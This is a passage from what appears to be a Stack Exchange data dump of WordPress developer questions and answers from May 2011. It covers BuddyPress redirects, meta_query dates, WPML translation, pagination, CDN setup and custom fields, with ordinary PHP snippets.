.&quot;&amp;amp;hl=en&amp;amp;fs=1' width='320' height='265'&amp;gt;&quot;;&#xA;$ret .= &quot;&amp;lt;!--&amp;lt;![endif]--&amp;gt;&quot;;&#xA;$ret .= &quot;&amp;lt;p&amp;gt;&amp;lt;a href='http://www.youtube.com/v/&quot; . $youtubeid .&quot;'&amp;gt;View movie&amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&quot;;&#xA;$ret .= &quot;&amp;lt;!--[if !IE]&amp;gt;--&amp;gt;&quot;;&#xA;$ret .= &quot;&amp;lt;/object&amp;gt;&quot;;&#xA;$ret .= &quot;&amp;lt;!--&amp;lt;![endif]--&amp;gt;&quot;;&#xA;$ret .= &quot;&amp;lt;/object&amp;gt;&quot;;&#xA;$ret .= &quot;&amp;lt;/li&amp;gt;&quot;;&#xA;&#xA;endforeach; &#xA;$ret .= &quot;&amp;lt;/ul&amp;gt;&quot;;&#xA;$ret .= &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;&#xA;return $ret;&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5223" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-05-26T10:16:10.787" LastActivityDate="2011-05-26T10:16:10.787" CommentCount="3" />
  <row Id="18301" PostTypeId="1" AcceptedAnswerId="18302" CreationDate="2011-05-26T08:11:34.740" Score="1" ViewCount="62" Body="&lt;p&gt;In Buddypress, after Registration first step, users are redirected to Change Avatar step. Im trying to find a way to redirect to an alternate page, for example: &lt;a href=&quot;http://www.mysite.com/yeah&quot; rel=&quot;nofollow&quot;&gt;http://www.mysite.com/yeah&lt;/a&gt; Im using the following code, but Im continuously redirected to Change Avatar page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_filter_bp_signup() {&#xA;&#xA;    global $current_site;&#xA;&#xA;    return 'http://' . $current_site-&amp;gt;domain . $current_site-&amp;gt;path . 'yeah';&#xA;&#xA;} &#xA;&#xA;add_filter('wp_signup_location', 'custom_filter_bp_signup');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help is welcome,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2011" LastActivityDate="2011-05-26T08:43:29.147" Title="Redirect after registration in BuddyPress" Tags="&lt;buddypress&gt;" AnswerCount="1" />
  <row Id="18302" PostTypeId="2" ParentId="18301" CreationDate="2011-05-26T08:43:29.147" Score="1" ViewCount="" Body="&lt;p&gt;Yeah I ge it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function bp_redirect($user) {&#xA;&#xA;    $redirect_url = 'http://www.mysite.com/yeah';&#xA;&#xA;    bp_core_redirect($redirect_url);&#xA;&#xA;}&#xA;&#xA;add_action('bp_core_signup_user', 'bp_redirect', 100, 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2011" LastActivityDate="2011-05-26T08:43:29.147" />
  <row Id="18303" PostTypeId="1" CreationDate="2011-05-26T09:21:10.750" Score="1" ViewCount="146" Body="&lt;p&gt;This is the piece of code I use to get event posts whom date metadata is newer than today : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;        query_posts( array(&#xA;        'post_type' =&amp;gt; 'concerts',&#xA;        'meta_key' =&amp;gt; 'numericdate',&#xA;        'posts_per_page' =&amp;gt; -1,&#xA;        'orderby' =&amp;gt; 'meta_value',&#xA;        'order' =&amp;gt; 'ASC',&#xA;        'meta_query' =&amp;gt; array(&#xA;            array(&#xA;                'key' =&amp;gt; 'numericdate',&#xA;                'value' =&amp;gt; date('dmY'),&#xA;                'compare' =&amp;gt; '&amp;gt;=',&#xA;                'type' =&amp;gt; 'date'&#xA;                 )&#xA;           )&#xA;    ) );&#xA;    if (have_posts()) : ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This returned no results.&#xA;The &quot;numericdate&quot; field contains a &quot;ddmmyyyy&quot; string, so I expected comparing with a &quot;dmY&quot; today date value will work. I was wrong. Or there is some mistake in the code above. &#xA;Thanks for your help ! &lt;/p&gt;&#xA;" OwnerUserId="5702" LastEditorUserId="5702" LastEditorDisplayName="" LastEditDate="2011-05-26T21:09:49.260" LastActivityDate="2011-05-27T01:23:20.700" Title="Fail to compare dates in meta_query" Tags="&lt;custom-post-types&gt;&lt;query-posts&gt;&lt;meta-query&gt;" AnswerCount="2" />
  <row Id="18304" PostTypeId="1" AcceptedAnswerId="18538" CreationDate="2011-05-26T09:49:33.643" Score="0" ViewCount="67" Body="&lt;p&gt;I have a custom front end page where users can post from. All works fine but the i want if more than one field is empty then the errors for all empty fields should show all together. Right now the code only show error for the first empty field it detects. The code is :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $errors = new WP_Error();&#xA;&#xA;    if (isEmptyString($title_stripped))&#xA;    $errors-&amp;gt;add('empty_title', __('Please enter a title'));&#xA;&#xA;    if (isEmptyString($description_stripped))&#xA;    $errors-&amp;gt;add('empty_desc', __('Enter a breif description'));&#xA;&#xA;    if (isEmptyString($content_stripped))&#xA;    $errors-&amp;gt;add('empty_content', __('Please enter your article here'));&#xA;&#xA;    return $errors;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit : Solved&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry to bother . It was one of my other functions which was limiting the error to echo only once. Here is the previous code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function display_message( $message = false ) {&#xA;    if( is_wp_error( $message ) ) {&#xA;        echo '&amp;lt;div class=&quot;error&quot;&amp;gt;&amp;lt;p&amp;gt;' . $message-&amp;gt;get_error_message() . '&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';  &#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It worked fine when i changed it too :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function display_message( $message = false ) {&#xA;    if( is_wp_error( $message ) ) {&#xA;        echo '&amp;lt;div class=&quot;error&quot;&amp;gt;&amp;lt;p&amp;gt;';&#xA;        foreach ( $message-&amp;gt;get_error_messages($code) as $error ) {&#xA;        echo $error . &quot;&amp;lt;br /&amp;gt;\n&quot;;  &#xA;        }&#xA;        echo '&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';  &#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3468" LastEditorUserId="3468" LastEditorDisplayName="" LastEditDate="2011-05-26T10:46:15.580" LastActivityDate="2011-05-28T06:51:23.040" Title="Display all WP Errors together during form validation" Tags="&lt;errors&gt;&lt;form&gt;&lt;validation&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="18305" PostTypeId="1" AcceptedAnswerId="18407" CreationDate="2011-05-26T10:52:42.540" Score="0" ViewCount="189" Body="&lt;p&gt;I just installed a WPML, but my custom post types is showing just in default language, if I am switching to other languages, it will show the same posts as default language, but in wordpress panel they are translated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Part of my code in function.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array( &#xA;        'labels' =&amp;gt; $labels,&#xA;        'public' =&amp;gt; true,&#xA;        'publicly_queryable' =&amp;gt; false,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; true,&#xA;        'capability_type' =&amp;gt; 'post',&#xA;        'hierarchical' =&amp;gt; true,&#xA;        'menu_position' =&amp;gt; 5,&#xA;        'supports' =&amp;gt; array('title','thumbnail','taxonomy')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And to get those post types I am using :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('post_type=objekts');&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3820" LastActivityDate="2011-07-26T06:30:18.407" Title="WPML custom post type - not translated" Tags="&lt;plugin-wpml&gt;" AnswerCount="2" />
  <row Id="18306" PostTypeId="1" AcceptedAnswerId="18309" CreationDate="2011-05-26T11:00:38.820" Score="1" ViewCount="129" Body="&lt;p&gt;How can I limit the get_pages to only show 5 items?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought adding &lt;code&gt;'number' =&amp;gt; 5&lt;/code&gt; to the array would limit it to 5 but it doesn't show anything. Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$pages = get_pages(array('post_type' =&amp;gt; 'page','sort_column' =&amp;gt; 'menu_order','sort_order' =&amp;gt; 'ASC','child_of' =&amp;gt; 765));&#xA;&#xA;foreach($pages as $post)&#xA;{&#xA;setup_postdata($post);&#xA;$fields = get_fields();&#xA;?&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;?php echo $fields-&amp;gt;start_date; ?&amp;gt; &amp;lt;a href=&quot;&amp;lt;?php echo get_page_link($post-&amp;gt;ID) ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo substr($fields-&amp;gt;event_title,0,24) . &quot;...&quot;; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&#xA;wp_reset_query();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5415" LastActivityDate="2011-05-26T11:18:42.350" Title="Limit get_pages to only show 5 items" Tags="&lt;foreach&gt;&lt;get-page&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="18307" PostTypeId="2" ParentId="18305" CreationDate="2011-05-26T11:03:59.423" Score="0" ViewCount="" Body="&lt;p&gt;Did you activate WPML support for your custom post type?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;WPML &gt; Translation Options&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You should see a list of custom post types and you can  set them to allow translation.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-26T11:03:59.423" CommentCount="1" />
  <row Id="18309" PostTypeId="2" ParentId="18306" CreationDate="2011-05-26T11:18:42.350" Score="2" ViewCount="" Body="&lt;p&gt;I have had similar problems with the &lt;code&gt;number&lt;/code&gt; attribute in &lt;code&gt;get_pages()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got around it by using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_children&quot; rel=&quot;nofollow&quot;&gt;get_children&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pages = get_children(array(&#xA;   'numberposts' =&amp;gt;1,&#xA;   'post_parent' =&amp;gt; $heading_page-&amp;gt;post_id&#xA;   ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and using &lt;code&gt;post_parent&lt;/code&gt; instead of &lt;code&gt;child_of&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4675" LastActivityDate="2011-05-26T11:18:42.350" CommentCount="3" />
  <row Id="18310" PostTypeId="1" CreationDate="2011-05-26T11:29:37.090" Score="1" ViewCount="87" Body="&lt;p&gt;I've encountered some issues on a clients site since upgrading to WP 3.1.2, and have this evening updated to version 3.1.3, only to find that the problems still persist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.harmonyreins.com.au&quot; rel=&quot;nofollow&quot;&gt;http://www.harmonyreins.com.au&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The website is for a local animal shelter, and each post represents a different animal that lives at the shelter.  There are a number of categories that specifically relate to the type of animal, such as dogs, cats, horse as well as a &quot;recently adopted&quot; and an &quot;old friends&quot; category.  Those last two categories were excluded from the full post list (under 'Meet The Gang' in the navigation) using the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts($query_string . '&amp;amp;cat=-10,-12'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The upgrade to WordPress 3.1.2 (or the accompanying database update, I'm not sure which) made this code redundant, and the excluded posts began appearing in the 'Meet The Gang' section.  I &lt;a href=&quot;http://wordpress.org/support/topic/exclude-categories-malfunctioning&quot; rel=&quot;nofollow&quot;&gt;enquired about the issue on WordPress.org&lt;/a&gt;, and the following fix was suggested:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Chris,&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Replace the following in your theme's index.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts($query_string . '&amp;amp;cat=-10,-12'); ?&amp;gt;&#xA;&amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;&amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts('cat=-10,-12'); ?&amp;gt;&#xA;&amp;lt;?php if ( have_posts() ) : while  ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;and you should be good.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Unfortunately this resulted in another issue, displaying the posts from page one of the list on page two also (you can see what I mean if you go to the site).  I've tried multiple pagination plugins with no success.  Regardless of what page you're on, only the first ten animals are displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My client has been really good regarding this issue, but it's been going on for weeks now, and I really need to get it solved.  Hoping someone can help me out.  :-)&lt;/p&gt;&#xA;" OwnerUserId="5704" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-26T16:31:05.030" LastActivityDate="2011-05-30T20:07:29.580" Title="&quot;Duplicate&quot; Posts Appearing Since 3.1.2 Update" Tags="&lt;posts&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="18311" PostTypeId="1" CreationDate="2011-05-26T11:52:15.787" Score="0" ViewCount="100" Body="&lt;p&gt;I have a site for a client that is behaving very strangely. You can view the site here &lt;a href=&quot;http://cruisephotofactory.com&quot; rel=&quot;nofollow&quot;&gt;http://cruisephotofactory.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you click the like button in the sidebar instead of using the open graph values the site gives, FB posts the text from the WordPress install screen. This text is 100% not on the site anywhere and anyway the only time it appears is during install, when obviously the FB button was not yet installed or active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the same site, same code, same theme, same everything installed on a  second domain &lt;a href=&quot;http://cruisephotofactory.it&quot; rel=&quot;nofollow&quot;&gt;http://cruisephotofactory.it&lt;/a&gt; and here I would expect the same thing to happen, only it doesn't. instead it seems to post the wp object on the FB wall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I clone the site to a different domain on a different server, everything works fine the problem only seems to be happening on these 2 domains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am sure it has to be something blindingly obvious I am missing and I am going to feel really stupid when its pointed out, but blasted if I can figure out how 2 different, repeatable outcomes are happening with the same code and how its getting the install text in the first place!&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2011-05-26T17:35:39.510" Title="FB like adds WordPress install screen text to the wall" Tags="&lt;facebook&gt;" AnswerCount="2" />
  <row Id="18312" PostTypeId="1" AcceptedAnswerId="18360" CreationDate="2011-05-26T11:53:40.153" Score="0" ViewCount="67" Body="&lt;p&gt;I've just purchased a plan with MaxCDN to deliver my content through CDN, but i've got a small issue before i create a pull-zone. I moved my WordPress core files out of my root and into a sub-directory. These are my current settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress address URL: &lt;code&gt;http://example.com/wordpress&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Site address URL: &lt;code&gt;http://example.com&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is whether i should have my Origin Server URL and custom CDN domain name according to my WordPress address or site address. Here is the &lt;a href=&quot;http://zemalf.com/1494/maxcdn-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;tutorial&lt;/a&gt; I'm currently following, in case you need to view the MaxCDN dashboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="5018" LastActivityDate="2011-05-26T19:45:28.003" Title="CDN: Origin server URL, WordPress Core files installed in sub-directory" Tags="&lt;cdn&gt;&lt;subdirectories&gt;" AnswerCount="1" />
  <row Id="18313" PostTypeId="1" AcceptedAnswerId="18316" CreationDate="2011-05-26T11:56:56.907" Score="0" ViewCount="47" Body="&lt;p&gt;Working on an SEO plugin and stuck on something I thought would be simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking for code to generate just the URLs for categories, tags, search, and date archives when on that archive set. So if on category ABC there's the URL to www.domain.com/category/abc/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was hoping it was something simple like this for the categories part:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo get_category_link($cat-&amp;gt;term_id);&#xA;&#xA;or&#xA;&#xA;echo get_category_link($category-&amp;gt;term_id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but apparently not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The general code works if I add a specific category&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo get_category_link(123);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The plugin adds code to the head via wp_head()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin (if I ever finish it) will be a replacement for so called SEO plugins that use noindex and nofollow to 'sculpt' PR/protect link benefit. Noindex wastes link benefit, nofollow deletes link benefit so they shouldn't be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;David&lt;/p&gt;&#xA;" OwnerUserId="2062" LastActivityDate="2011-05-26T12:33:28.373" Title="Code for Category, Tags, Archive URLs" Tags="&lt;categories&gt;" AnswerCount="1" />
  <row Id="18314" PostTypeId="1" CreationDate="2011-05-26T12:12:36.433" Score="8" ViewCount="252" Body="&lt;p&gt;I'm working on a plugin that will be installed in a multisite instance. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I create a single settings page that is visible at the &quot;Network admin&quot; level only - most of the guides i've seen relate to a standard blog level plugin. Any links to information would be useful, otherwise I'll just end up going through sitewide tags to see how it's being done there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Update]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like sitewide_tags uses &lt;code&gt;add_site_option&lt;/code&gt;, &lt;code&gt;get_site_option&lt;/code&gt; and &lt;code&gt;update_site_option&lt;/code&gt;, and these functions use wp_sitemeta. However, from what I can see, there's no support for register_setting, add_setting, etc, so you have to get and set your options manually. &lt;/p&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-05-26T16:01:10.713" LastActivityDate="2011-06-29T17:53:12.937" Title="'Global' settings page for multisite plugin" Tags="&lt;plugins&gt;&lt;multisite&gt;&lt;settings&gt;" AnswerCount="2" FavoriteCount="4" />
  <row Id="18315" PostTypeId="1" CreationDate="2011-05-26T12:13:38.053" Score="2" ViewCount="248" Body="&lt;p&gt;I have a lot of custom type items in my new WP project, and for navigation reasons, I want to make the parent to some of them a Wordpress page. The problem is that apparently, Wordpress does not let you establish parent-child relationships between items with different post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to override this? I am using Wordpress 3.1&lt;/p&gt;&#xA;" OwnerUserId="3765" LastActivityDate="2011-05-26T14:31:12.513" Title="Wordpress Custom Post Types with a page as a parent?" Tags="&lt;custom-post-types&gt;&lt;php&gt;&lt;navigation&gt;&lt;type&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="18316" PostTypeId="2" ParentId="18313" CreationDate="2011-05-26T12:33:28.373" Score="1" ViewCount="" Body="&lt;p&gt;in a category archive, the code could be: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo get_category_link(get_query_var('cat')); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in a tag archive, this could be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(is_tag()) echo get_term_link(get_query_var('tag'), 'post_tag');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the conditional was added to avoid an error messages if not in a tag archive.&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-05-26T12:33:28.373" />
  <row Id="18318" PostTypeId="1" AcceptedAnswerId="18322" CreationDate="2011-05-26T13:46:31.900" Score="0" ViewCount="81" Body="&lt;p&gt;What is the best way to display/dump &lt;strong&gt;all&lt;/strong&gt; custom fields associated with a post? It doesn't have to be pretty, I just need to verify what is being saved in what field array for debugging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-05-26T14:33:48.253" Title="How to display all custom fields associated with a post type?" Tags="&lt;custom-field&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="18319" PostTypeId="2" ParentId="18206" CreationDate="2011-05-26T13:53:28.083" Score="0" ViewCount="" Body="&lt;p&gt;I highly recommend checking out the &lt;a href=&quot;http://wordpress.org/extend/plugins/smart-archives-reloaded/&quot; rel=&quot;nofollow&quot;&gt;Smart Archives Reloaded plugin&lt;/a&gt;.  It has several formats and one of them, called &quot;fancy&quot;, displays things very similar to what you described.&lt;/p&gt;&#xA;" OwnerUserId="1511" LastActivityDate="2011-05-26T13:53:28.083" CommentCount="1" />
  <row Id="18320" PostTypeId="1" CreationDate="2011-05-26T14:00:37.443" Score="1" ViewCount="114" Body="&lt;p&gt;How I can handle this shortcode:&lt;br/&gt;&#xA;[my_gallery]&lt;br/&gt;&#xA;img01.jpg&lt;br/&gt;&#xA;img02.jpg&lt;br/&gt;&#xA;img03.jpg&lt;br/&gt;&#xA;img04.jpg&lt;br/&gt;&#xA;[/my_gallery]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't understand how to write a function, to handle image files name.&lt;/p&gt;&#xA;" OwnerUserId="5716" LastActivityDate="2011-05-26T16:38:43.643" Title="Create own Wordpress shortcode gallery" Tags="&lt;php&gt;&lt;gallery&gt;&lt;shortcode&gt;" AnswerCount="1" />
  <row Id="18321" PostTypeId="1" AcceptedAnswerId="18340" CreationDate="2011-05-26T14:01:54.470" Score="2" ViewCount="228" Body="&lt;p&gt;&lt;br&gt;&#xA;i've just find out about the custom field, which makes it possible to add something near a post, but what is the difference between &quot;add_meta_box&quot; and &quot;custom field&quot;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom field is inside the &quot;supports&quot; line, when we register a post type, so : isn't it easier to create a custom field than a add meta box? or are there many differences between both?&lt;/p&gt;&#xA;" OwnerUserId="5644" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-05-26T14:16:24.733" LastActivityDate="2011-05-26T15:28:02.973" Title="add meta box - custom field : which to choose?" Tags="&lt;custom-field&gt;&lt;add-meta-box&gt;" AnswerCount="4" FavoriteCount="1" />
  <row Id="18322" PostTypeId="2" ParentId="18318" CreationDate="2011-05-26T14:04:50.183" Score="1" ViewCount="" Body="&lt;p&gt;you can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_custom&quot; rel=&quot;nofollow&quot;&gt;get_post_custom()&lt;/a&gt; which returns a multidimensional array with all custom fields of a particular post or page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;pre&amp;gt;';&#xA;print_r(get_post_custom($post_id));&#xA;echo '&amp;lt;/pre&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-26T14:04:50.183" CommentCount="1" />
  <row Id="18323" PostTypeId="2" ParentId="17224" CreationDate="2011-05-26T14:08:58.610" Score="-1" ViewCount="" Body="&lt;p&gt;I have just tested this (I am doing the exact same thing for a project) and it worked fine for me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Added tags to a custom post type, ran this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/?json=get_recent_posts&amp;amp;post_type=custompost&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the json file looked like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;status&quot;:&quot;ok&quot;,&#xA;    &quot;count&quot;:10,&#xA;    &quot;count_total&quot;:11,&#xA;    &quot;pages&quot;:2,&#xA;    &quot;posts&quot;:[&#xA;    {&#xA;        &quot;id&quot;:80,&#xA;        &quot;type&quot;:&quot;custompost&quot;,&#xA;        &quot;slug&quot;:&quot;custompost-12&quot;,&#xA;        &quot;url&quot;:&quot;http:\/\/example.com\/?custompost=custompost-12&quot;,&#xA;        &quot;status&quot;:&quot;publish&quot;,&#xA;        &quot;title&quot;:&quot;custompost 12&quot;,&#xA;        &quot;title_plain&quot;:&quot;custompost 12&quot;,&#xA;        &quot;content&quot;:&quot;&amp;lt;p&amp;gt;12&amp;lt;\/p&amp;gt;\n&quot;,&#xA;        &quot;excerpt&quot;:&quot;12&quot;,&#xA;        &quot;date&quot;:&quot;2011-05-26 12:32:59&quot;,&#xA;        &quot;modified&quot;:&quot;2011-05-26 13:54:03&quot;,&#xA;        &quot;categories&quot;:[],&#xA;        &quot;tags&quot;:[&#xA;            {&quot;id&quot;:4,&quot;slug&quot;:&quot;tag1&quot;,&quot;title&quot;:&quot;tag1&quot;,&quot;description&quot;:&quot;&quot;,&quot;post_count&quot;:10},&#xA;            {&quot;id&quot;:6,&quot;slug&quot;:&quot;tag2&quot;,&quot;title&quot;:&quot;tag2&quot;,&quot;description&quot;:&quot;&quot;,&quot;post_count&quot;:6},&#xA;            etc...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Are you sure that you added the custom taxonomies to the Custom Post Type?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'create_my_post_types' );   &#xA;function create_my_post_types() {&#xA;    register_post_type( 'custompost',&#xA;        array(&#xA;            ...&#xA;            'taxonomies' =&amp;gt; array( 'category', 'post_tag' ),&#xA;            ...etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you are looking to do something more complex, like define a hierarchical structure of custom taxonomies, &lt;a href=&quot;http://net.tutsplus.com/tutorials/wordpress/introducing-wordpress-3-custom-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;this link might help you&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4675" LastEditorUserId="4675" LastEditorDisplayName="" LastEditDate="2011-05-26T14:44:17.210" LastActivityDate="2011-05-26T14:44:17.210" CommentCount="1" />
  <row Id="18324" PostTypeId="2" ParentId="18315" CreationDate="2011-05-26T14:14:38.837" Score="2" ViewCount="" Body="&lt;p&gt;There are way's to get around it to create this kind of grouping or relationship:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&quot;manually&quot; - set the post_parent&#xA;field to the parent ID (by manually&#xA;i mean code something that will do&#xA;that for you when you publish a&#xA;CPT).&lt;/li&gt;&#xA;&lt;li&gt;Using a shared custom taxonomy to&#xA;create a grouping of posts and you&#xA;will have the ability to filter /&#xA;query posts based on that taxonomy&#xA;term.&lt;/li&gt;&#xA;&lt;li&gt;using a post meta field (custom field) on your custom post type that will hold the parent page id and once again have the ability to to filter /&#xA;query posts based on that custom field&lt;/li&gt;&#xA;&lt;li&gt;using a plugin like &lt;a href=&quot;http://wordpress.org/extend/plugins/posts-to-posts/&quot; rel=&quot;nofollow&quot;&gt;Posts 2 Posts&lt;/a&gt; which uses a db table to create a many to many relation between posts and adds some cool query features.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;depends on your needs but i think at least one of these should do the job.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-26T14:14:38.837" CommentCount="2" />
  <row Id="18325" PostTypeId="2" ParentId="18321" CreationDate="2011-05-26T14:22:10.340" Score="1" ViewCount="" Body="&lt;p&gt;Both merely add custom post metadata. Which to use depends on the use case. If you are developing something for end users, I would recommend using the Metabox, as generally speaking, the metabox UI is more user-friendly than the custom field UI.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-26T14:22:10.340" />
